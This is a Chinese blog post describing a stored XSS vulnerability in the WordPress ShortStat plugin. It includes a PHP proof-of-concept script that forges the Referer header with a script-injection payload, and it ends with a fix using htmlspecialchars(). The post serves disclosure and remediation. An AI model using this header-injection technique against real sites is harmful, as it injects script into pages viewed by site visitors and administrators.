继续发掘worldpress插件shortstat XSS漏洞
转载请保留版权,http://piao2010.com 谢谢!
昨天吃坏肚子了,今天请假没去上班。无聊之余突然想到上次的shortstat XSS漏洞,虽然只是偶然事件,但有没可能使之变成必然呢?
大致浏览了一下插件的源代码,发现其中还是存在不少问题的,上次我只是过滤了Keyword部分,其实如果说我们可以伪造HTTP请求的话应该还有很多参数可以利用。于是写了一段代码测试:
<?php //程序仅供测试希望大家不要搞破坏,谢谢合作! $refer ='"></a><script>alert(/xss/);</script><!--'; $data = array("name" => 'hacker-piao.cn',"content" => 'just for fun!'); $data = http_build_query($data); $opts = array( 'http'=>array( 'method'=>"POST", 'header'=>"Content-type: application/x-www-form-urlencoded\r\n". "Content-length:".strlen($data)."\r\n" . "Referer:$refer\r\n". "Cookie: name=hacker-piao\r\n" . "\r\n", 'content' => $data, ) ); $cxContext = stream_context_create($opts); file_get_contents("http://hacker-piao.cn/index.php", false, $cxContext); ?> |
通过构造referer进行攻击,果然成功了。希望大家不要搞破坏!
修复办法:可能被伪造的参数输出都要进行htmlspecialchars() 过滤。